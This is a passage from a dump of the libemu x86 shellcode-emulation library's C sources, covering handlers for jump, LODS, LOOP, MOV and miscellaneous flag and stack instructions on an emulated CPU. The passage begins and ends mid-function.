&disp);\n\t\t\t\t\n\t\t\t\tc->eip = disp;\n\n\t\t\t\tSOURCE_NORM_POS(c->instr, c->eip);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif( i->prefixes & PREFIX_OPSIZE )\n\t\t\t{\n\t\t\t\t/* FF /4  \n\t\t\t\t * Jump near, absolute indirect, address given in r/m16                   \n\t\t\t\t * JMP r/m16    \n\t\t\t\t */\n\n\t\t\t\tc->eip = *c->reg16[i->modrm.rm];\n\n\t\t\t\tSOURCE_NORM_POS(c->instr, c->eip);\n\t\t\t\tTRACK_NEED_REG16(c->instr, i->modrm.rm);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t/* FF /4  \n\t\t\t\t * Jump near, absolute indirect, address given in r/m32                   \n\t\t\t\t * JMP r/m32    \n\t\t\t\t */\n\n\t\t\t\tc->eip = c->reg[i->modrm.rm];\n\n\t\t\t\tSOURCE_NORM_POS(c->instr, c->eip);\n\t\t\t\tTRACK_NEED_REG32(c->instr, i->modrm.rm);\n\t\t\t}\n\t\t}\n\t}\n\telse /* /5 */\n\t{\n\t\t/* unneeded */\n\t\t/* FF /5  \n\t\t * Jump far, absolute indirect, address given in m16:16                   \n\t\t * JMP m16:16   \n\t\t */\n\n\n\t\t/* FF /5  \n\t\t * Jump far, absolute indirect, address given in m16:32                   \n\t\t * JMP m16:32   \n\t\t */\n\n\t\tUNIMPLEMENTED(c, SST);\n\n\t}\n\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/lodscc.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n\nint32_t instr_lods_ac(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\n\t/* AC \n\t * Load byte at address DS:(E)SI into AL\n\t * LODS m8  \n\t */\n\n\t/* AC\n\t * Load byte at address DS:(E)SI into AL\n\t * LODSB    \n\t */\n\n\tif ( i->prefixes & PREFIX_ADSIZE )\n\t{\n//    \tMEM_BYTE_READ(c, c->reg16[si], c->reg8[al]);\n\t\tUNIMPLEMENTED(c, SST);\n\t}\n\telse\n\t{\n\t\tMEM_BYTE_READ(c, c->reg[esi], c->reg8[al]);\n\n\t\tif ( CPU_FLAG_ISSET(c,f_df) )\n\t\t{ /* decrement */\n\t\t\tc->reg[esi] -= 1;\n\t\t}\n\t\telse\n\t\t{ /* increment */\n\t\t\tc->reg[esi] += 1;\n\t\t}\n\n\t\tTRACK_INIT_REG8(c->instr, al);\n\t}\n\n\n\treturn 0;\n}\n\nint32_t instr_lods_ad(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\n\t\t/* AD \n\t\t * Load word at address DS:(E)SI into AX\n\t\t * LODS m16 \n\t\t */\n\n\t\t/* AD \n\t\t * Load word at address DS:(E)SI into AX\n\t\t * LODSW    \n\t\t */\n\t\tif ( i->prefixes & PREFIX_ADSIZE )\n\t\t{\n//        \tMEM_WORD_READ(c, c->reg16[si], c->reg16[ax]);\n\t\t\tUNIMPLEMENTED(c, SST);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tMEM_WORD_READ(c, c->reg[esi], c->reg16[ax]);\n\t\t\tif (CPU_FLAG_ISSET(c,f_df))\n\t\t\t{ /* decrement */\n\t\t\t\tc->reg[esi] -= 2;\n\t\t\t}else\n\t\t\t{ /* increment */\n\t\t\t\tc->reg[esi] += 2;\n\t\t\t}\n\t\t}\n\n\t}\n\telse\n\t{\n\n\t\t/* AD \n\t\t * Load doubleword at address DS:(E)SI into EAX\n\t\t * LODS m32 \n\t\t */\n\n\n\t\t/* AD\n\t\t * Load doubleword at address DS:(E)SI into EAX\n\t\t * LODSD    \n\t\t */\n\t\tif ( i->prefixes & PREFIX_ADSIZE )\n\t\t{\n//\t\t\tMEM_DWORD_READ(c, c->reg16[si], &c->reg[eax]);\n\t\t\tUNIMPLEMENTED(c, SST);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\tMEM_DWORD_READ(c, c->reg[esi], &c->reg[eax]);\n\t\t\tif (CPU_FLAG_ISSET(c,f_df))\n\t\t\t{ /* decrement */\n\t\t\t\tc->reg[esi] -= 4;\n\t\t\t}else\n\t\t\t{ /* increment */\n\t\t\t\tc->reg[esi] += 4;\n\t\t\t}\n\n\t\t\tTRACK_INIT_REG32(c->instr, eax);\n\t\t}\n\t}\n\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/loopcc.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n\nint32_t instr_loopcc_e0(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\t\t\t\t   \n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\n\t/* E0 cb  \n\t * Decrement count; jump short if count != 0 and ZF=0\n\t * LOOPNE rel8\n\t * LOOPNZ rel8 \n\t */\n\tif ( i->prefixes & PREFIX_OPSIZE)\n\t{\n\t\tTRACK_NEED_REG16(c->instr, cx);\n\t\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\n\t\t*c->reg16[cx] = *c->reg16[cx]-1;\n\t\tif (*c->reg16[cx] != 0 && !CPU_FLAG_ISSET(c,f_zf))\n\t\t{\n\t\t\tc->eip += i->disp;\n\t\t}\n\t}else\n\t{\n\t\tTRACK_NEED_REG32(c->instr, ecx);\n\t\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\n\t\tc->reg[ecx]--;\n\t\tif (c->reg[ecx] != 0 && !CPU_FLAG_ISSET(c,f_zf))\n\t\t{\n\t\t\tc->eip += i->disp;\n\t\t}\n\t}\n\n\n\treturn 0;\n}\n\nint32_t instr_loopcc_e1(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\t\t\t\t   \n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\n\t/* E1 cb  \n\t * Decrement count; jump short if count != 0 and ZF=1\n\t * LOOPE rel8  \n\t * LOOPZ rel8  \n\t */\t\t\t\t   \n\tif ( i->prefixes & PREFIX_OPSIZE)\n\t{\n\t\tTRACK_NEED_REG16(c->instr, cx);\n\t\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\n\t\t*c->reg16[cx] = *c->reg16[cx]-1;\n\t\tif (*c->reg16[cx] != 0 && CPU_FLAG_ISSET(c,f_zf))\n\t\t{\n\t\t\tc->eip += i->disp;\n\t\t}\n\t}else\n\t{\n\t\tTRACK_NEED_REG32(c->instr, ecx);\n\t\tTRACK_NEED_EFLAG(c->instr, f_zf);\n\n\t\tc->reg[ecx]--;\n\t\tif (c->reg[ecx] != 0 && CPU_FLAG_ISSET(c,f_zf))\n\t\t{\n\t\t\tc->eip += i->disp;\n\t\t}\n\t}\n\n\n\treturn 0;\n}\n\nint32_t instr_loop_e2(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\t\t\t\t   \n\tSOURCE_COND_POS(c->instr, c->eip + i->disp);\n\n\t/* E2 cb  \n\t * Decrement count; jump short if count != 0\n\t * LOOP rel8   \n\t */\n\n\tif ( i->prefixes & PREFIX_OPSIZE)\n\t{\n\t\tTRACK_NEED_REG16(c->instr, cx);\n\n\t\t*c->reg16[cx] = *c->reg16[cx]-1;\n\t\tif (*c->reg16[cx] != 0 )\n\t\t{\n\t\t\tc->eip += i->disp;\n\t\t}\n\t}else\n\t{\n\t\tTRACK_NEED_REG32(c->instr, ecx);\n\n\t\tc->reg[ecx]--;\n\t\tif (c->reg[ecx] != 0)\n\t\t{\n\t\t\tc->eip += i->disp;\n\t\t}\n\t}\n\n\n\treturn 0;\n}\n\t\t\t\t   \n\n\n"
  },
  {
    "path": "src/functions/misc.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_log.h\"\n#include <errno.h>\n\nint32_t prefix_fn(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* dummy */\n\treturn 0;\n}\n\n\nint32_t instr_daa_27(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 27\n\t * Decimal Adjust AL after Addition\n\t * DAA\n\t */\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 183*/\n\tSTUB(c);\n\treturn 0;\n}\n\n\nint32_t instr_das_2f(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* F2\n\t * Decimal Adjust AL after Subtraction\n\t * DAS\n\t */\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 185*/\n\tSTUB(c);\n\treturn 0;\n}\n\nint32_t instr_aas_3f(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 3F\n\t * ASCII Adjust AL After Subtraction\n\t * aas\n\t */\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 60*/\n\tSTUB(c);\n\treturn 0;\n}\n\n\n\n\nint32_t instr_wait_9b(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 9B\n\t * Wait\n\t * wait\n\t */\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 747*/\n\tSTUB(c);\n\treturn 0;\n}\n\nint32_t instr_pushf_9c(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 9C\n\t * Push EFLAGS Register onto the Stack\n\t * pushf\n\t */\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 627*/\n\n        PUSH_DWORD(c, c->eflags);\n//\tSTUB(c);\n\treturn 0;\n}\n\nint32_t instr_popf_9d(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 9D\n\t * Pop Stack into EFLAGS Register\n\t * popf\n\t */\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 578*/\n        POP_DWORD(c, &c->eflags);\n//\tSTUB(c);\n\treturn 0;\n}\n\nint32_t instr_sahf_9e(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 9E\n\t * Store AH into Flags\n\t * SAHF\n\t */\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 661*/\n\tSTUB(c);\n\treturn 0;\n}\n\nint32_t instr_lahf_9f(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 9F\n\t * Load Status Flags into AH Register\n\t * SAHF\n\t */\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 381*/\n\tSTUB(c);\n\treturn 0;\n}\n\n\nint32_t instr_cmc_f5(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* F5 \n\t * Complement CF flag\n\t * CMC \n\t */\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 107*/\n\tCPU_FLAG_TOGGLE(c,f_cf);\n\treturn 0;\n}\n\n\nint32_t instr_clc_f8(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* F8 \n\t * Clear CF flag\n\t * CLC \n\t */\n\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 106*/\n\tCPU_FLAG_UNSET(c,f_cf);\n\treturn 0;\n}\n\nint32_t instr_stc_f9(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* F9 \n\t * Set CF flag\n\t * STC \n\t */\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 702*/\n\tCPU_FLAG_SET(c,f_cf);\n\treturn 0;\n}\n\n\nint32_t instr_cld_fc(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 107*/\n\tCPU_FLAG_UNSET(c,f_df);\n\treturn 0;\n}\n\nint32_t instr_std_fd(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 703*/\n\t/* FD \n\t * Set DF flag\n\t * STD \n\t */\n\tCPU_FLAG_SET(c,f_df);\n\treturn 0;\n}\n\n\n\n\n\n\nint32_t instr_lea_8d(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 393*/\n\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* 8D /r \n\t\t * Store effective address for m in register r16\n\t\t * LEA r16,m \n\t\t */\n\t\tUNIMPLEMENTED(c, SST);\n\t}\n\telse\n\t{\n\t\t/* 8D /r \n\t\t * Store effective address for m in register r32\n\t\t * LEA r32,m \n\t\t */\n\t\tc->reg[i->modrm.opc] = i->modrm.ea;\n\t\tTRACK_INIT_REG32(c->instr, i->modrm.opc);\n\t}\n\treturn 0;\n\n}\n\n\nint32_t instr_cbw_98(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 104*/\n\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* 98 \n\t\t * AX <- sign-extend of AL\n\t\t * CBW  \n\t\t */\n\t\t*c->reg16[ax] = (int8_t)*c->reg8[al];\n\t}\n\telse\n\t{\n    \t/* 98 \n\t\t * EAX <- sign-extend of AX\n\t\t * CWDE \n\t\t */\n\t\tc->reg[eax] = (int16_t)*c->reg16[ax];\n\t}\n\treturn 0;\n}\n\n\nint32_t instr_cwd_99(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 181*/\n\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t   \n\t\t/* 99 \n\t\t * DX:AX <- sign-extend of AX\n\t\t * CWD \n\t\t */\n\t\tuint32_t sexd; \n\t\tsexd = (int16_t)*c->reg16[ax];\n\t\tDWORD_UPPER_TO_WORD(*c->reg16[dx],sexd);\n\t\tDWORD_LOWER_TO_WORD(*c->reg16[ax],sexd);\n\t\t\n\t}\n\telse\n\t{\n\t\t/* 99 \n\t\t * EDX:EAX <- sign-extend of EAX\n\t\t * CDQ \n\t\t */\n\t\tuint64_t sexd; \n\t\tsexd = (int32_t)c->reg[eax];\n\t\tQWORD_UPPER_TO_DWORD(c->reg[edx],sexd);\n\t\tQWORD_LOWER_TO_DWORD(c->reg[eax],sexd);\n\n\t}\n\treturn 0;\n}\n\nint32_t instr_esc_fpu_dx(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\treturn 0;\n}\n\nint32_t instr_sldt_0f00(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 692 */\n\n\tSTUB(c);\n\n\tif( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* 0F 00 /0\n\t\t * Stores segment selector from LDTR in r/m16\n\t\t * SLDT r/m16\n\t\t */\n\n\t\tif( i->modrm.mod != 3 )\n\t\t{\n\t\t\tuint16_t word = 0;\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, word);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t*c->reg16[i->modrm.rm] = 0;\n\t\t}\n\t}\n\telse\n\t{\n\t\t/* 0F 00 /0\n\t\t * Store segment selector from LDTR in low-order 16 bits of r/m32\n\t\t * SLDT r/m32\n\t\t */\n\n\t\tif( i->modrm.mod != 3 )\n\t\t{\n\t\t\tuint32_t word = 0;\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, word);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tc->reg[i->modrm.rm] = 0;\n\t\t}\n\t}\n\treturn 0;\n}\n\nint32_t instr_cpuid_0fa2(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tSTUB(c);\n\treturn 0;\n}\n\nint32_t instr_salc_d6(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif( CPU_FLAG_ISSET(c, f_cf) )\n\t\t*c->reg8[al] = 0xff;\n\telse\n\t\t*c->reg8[al] = 0;\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/mov.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n#include \"emu/emu_track.h\"\n#include \"emu/emu_log.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 442*/\n\nint32_t instr_mov_88(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t/* 88 /r  \n\t * Move r8 to r/m8\t\t\t\t\t\t\t\t\t\n\t * MOV r/m8,r8      \n\t */\n\n\tif( i->modrm.mod != 3 )\n\t{\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, *c->reg8[i->modrm.opc]);\n\t}\n\telse\n\t{\n\t\t*c->reg8[i->modrm.rm] = *c->reg8[i->modrm.opc];\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_mov_89(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t/* 89 /r  \n\t * Move r16 to r/m16                                \n\t * MOV r/m16,r16    \n\t */\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\n\t/* 89 /r  \n\t * Move r32 to r/m32                                \n\t * MOV r/m32,r32    \n\t */\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\n\tif( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\tif( i->modrm.mod != 3 )\n\t\t{\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, *c->reg16[i->modrm.opc]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t*c->reg16[i->modrm.rm] = *c->reg16[i->modrm.opc];\n\t\t}\n\t}\n\telse\n\t{\n\t\tif( i->modrm.mod != 3 )\n\t\t{\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, c->reg[i->modrm.opc]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tc->reg[i->modrm.rm] = c->reg[i->modrm.opc];\n\n\t\t\tTRACK_NEED_REG32(c->instr, i->modrm.opc);\n\t\t\tTRACK_INIT_REG32(c->instr, i->modrm.rm);\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_mov_8a(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 8A /r  \n\t * Move r/m8 to r8                                  \n\t * MOV r8,r/m8      \n\t */\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\n\tif( i->modrm.mod != 3 )\n\t{\n\t\tMEM_BYTE_READ(c, i->modrm.ea, c->reg8[i->modrm.opc]);\n\t\tTRACK_INIT_REG16(c->instr, i->modrm.opc);\n\t}\n\telse\n\t{\n\t\t*c->reg8[i->modrm.opc] = *c->reg8[i->modrm.rm];\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_mov_8b(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* 8B /r  \n\t\t * Move r/m16 to r16                                \n\t\t * MOV r16,r/m16    \n\t\t */\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\n\t\tif( i->modrm.mod != 3 )\n\t\t{\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, c->reg16[i->modrm.opc]);\n\t\t\tTRACK_INIT_REG16(c->instr, i->modrm.opc);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t*c->reg16[i->modrm.opc] = *c->reg16[i->modrm.rm];\n\t\t}\n\t}\n\telse\n\t{\n\t\t/* 8B /r  \n\t\t * Move r/m32 to r32                                \n\t\t * MOV r32,r/m32    \n\t\t */\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\n\t\tif( i->modrm.mod != 3 )\n\t\t{\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &c->reg[i->modrm.opc]);\n\t\t\tTRACK_INIT_REG32(c->instr, i->modrm.opc);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tc->reg[i->modrm.opc] = c->reg[i->modrm.rm];\n\n\t\t\tTRACK_INIT_REG32(c->instr, i->modrm.opc);\n\n\t\t\tif ( c->tracking != NULL )\n\t\t\t{\n\t\t\t\tc->tracking->track.reg[i->modrm.opc] = c->tracking->track.reg[i->modrm.rm];\n\t\t\t}\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_mov_8c(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 8C /r  \n\t * Move segment register to r/m16                   \n\t * MOV r/m16,Sreg** \n\t */\n\tSTUB(c);\n\treturn 0;\n}\n\nint32_t instr_mov_8e(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* 8E /r  \n\t * Move r/m16 to segment register                   \n\t * MOV Sreg,r/m16** \n\t */\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\tSTUB(c);\n\treturn 0;\n}\n\nint32_t instr_mov_a0(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* A0     \n\t * Move byte at (seg:offset) to AL                  \n\t * MOV AL,moffs8*   \n\t */\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\tMEM_BYTE_READ(c, i->disp, c->reg8[al]);\n\n\treturn 0;\n}\n\nint32_t instr_mov_a1(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* A1     \n\t\t * Move word at (seg:offset) to AX                  \n\t\t * MOV AX,moffs16*  \n\t\t */                                                                      \n\n\t\tMEM_WORD_READ(c, i->disp, c->reg16[ax]);\n\t}\n\telse\n\t{\n\t\t/* A1     \n\t\t * Move doubleword at (seg:offset) to EAX           \n\t\t * MOV EAX,moffs32* \n\t\t */\n\t\tMEM_DWORD_READ(c, i->disp, &c->reg[eax]);\n\t\t\n\t\tTRACK_INIT_REG32(c->instr, eax);\n\t}\n\treturn 0;\n}\n\nint32_t instr_mov_a2(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* A2     \n\t * Move AL to (seg:offset)                          \n\t * MOV moffs8*,AL   \n\t */\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\tMEM_BYTE_WRITE(c, i->imm, *c->reg8[al]);\n\n\treturn 0;\n}\n\nint32_t instr_mov_a3(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\n\t\t/* A3     \n\t\t * Move AX to (seg:offset)                          \n\t\t * MOV moffs16*,AX  \n\t\t */\n\t\tMEM_WORD_WRITE(c, i->imm, *c->reg16[ax]);\n\t}\n\telse\n\t{\n\t\t/* A3     \n\t\t * Move EAX to (seg:offset)                         \n\t\t * MOV moffs32*,EAX \n\t\t */                                         \n\t\tMEM_DWORD_WRITE(c, i->imm, c->reg[eax]);\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_movsb(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n    if (i->prefixes & PREFIX_OPSIZE ) {\n\tUNIMPLEMENTED(c, SST);\n    }\n    if (i->prefixes & PREFIX_F3) {\n\t/* Copy ECX bytes from DS:[ESI] to ES:[EDI] */\n\tif (c->reg[ecx] > 0 )\n\t{\n\t    uint8_t tmp;\n\t    c->reg[ecx]--;\n\t    c->repeat_current_instr = true;\n\t    MEM_BYTE_READ(c, c->reg[esi], &tmp);\n\t    MEM_BYTE_WRITE(c, c->reg[edi], tmp);\n\t    if ( !CPU_FLAG_ISSET(c,f_df) )\n\t    { /* increment */\n\t\tc->reg[edi] += 1;\n\t\tc->reg[esi] += 1;\n\t    }else\n\t    { /* decrement */\n\t\tc->reg[edi] -= 1;\n\t\tc->reg[esi] -= 1;\n\t    }\n\t}\n\telse\n\t    c->repeat_current_instr = false;\n    } else {\n\t/* a4 move ds:esi -> es->edi */\n\tuint8_t tmp;\n\tMEM_BYTE_READ(c, c->reg[esi], &tmp);\n\tMEM_BYTE_WRITE(c, c->reg[edi], tmp);\n\tif ( !CPU_FLAG_ISSET(c,f_df) )\n\t{ /* increment */\n\t\tc->reg[edi] += 1;\n\t\tc->reg[esi] += 1;\n\t} else\n\t{ /* decrement */\n\t    c->reg[edi] -= 1;\n\t    c->reg[esi] -= 1;\n\t}\n    }\n    return 0;\n}\n\nint32_t instr_mov_bx_1(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* B0+ rb \n\t * Move imm8 to r8                                  \n\t * MOV r8,imm8      \n\t */\n\t*c->reg8[i->opc & 7] = *i->imm8;\n\n\treturn 0;\n}\n\nint32_t instr_mov_bx_2(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* B8+ rw \n\t\t * Move imm16 to r16                                \n\t\t * MOV r16,imm16    \n\t\t */\n#if BYTE_ORDER == BIG_ENDIAN\n\t\tbcopy(i->imm16, c->reg16[i->opc & 7], 2);\n#else\n\t\t*c->reg16[i->opc & 7] = *i->imm16;\n#endif\n\n\n\t}\n\telse\n\t{\n\t\t/* B8+ rd \n\t\t * Move imm32 to r32                                \n\t\t * MOV r32,imm32    \n\t\t */                         \n\n\t\tc->reg[i->opc & 7] = i->imm;\n\t\tTRACK_INIT_REG32(c->instr, i->opc & 7);\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_mov_c6(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\n\n\t/* C6 /0  \n\t * Move imm8 to r/m8                                \n\t * MOV r/m8,imm8    \n\t */\n\t\n\tif( i->modrm.mod != 3 )\n\t{\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, *i->imm8);\n\t}\n\telse\n\t{\n\t\t*c->reg8[i->modrm.rm] = *i->imm8;\n\t}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\n\treturn 0;\n}\n\nint32_t instr_mov_c7(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\t/* C7 /0  \n\t * Move imm16 